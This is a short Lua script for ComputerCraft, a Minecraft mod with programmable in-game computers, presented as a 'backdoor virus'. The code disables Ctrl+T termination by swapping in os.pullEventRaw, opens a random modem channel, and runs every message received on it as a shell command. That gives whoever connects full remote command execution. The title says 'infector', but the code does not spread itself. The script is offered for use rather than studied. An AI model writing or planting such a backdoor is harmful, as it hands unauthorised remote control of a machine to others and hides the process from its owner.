ComputerCraft backdoor virus (infector)

function findModem()
  for _, v in pairs( rs.getSides() ) do
        if peripheral.isPresent( v ) and peripheral.getType( v ) == "modem" then
          return true, v
        end
  end
  return false, nil
end
local exist, side = findModem()
if not (exist) then
error("To use this backdoor you need to have an modem installed.")
end
os.pullEvent = os.pullEventRaw
local modem = peripheral.wrap(side)
local chnlname = math.random(25565,65535)
modem.open(chnlname)
print("my channel is: "..tostring(chnlname))
print("connect to it to use the backdoor")
print("press any key to continue")
os.pullEventRaw()

while true do

local event, modemSide, senderChannel,
  replyChannel, message, senderDistance = coroutine.yield("modem_message")
  print("recv")
  print(event, modemSide, senderChannel, replyChannel, message, senderDistance)
print("> "..tostring(message))
shell.run(tostring(message))
end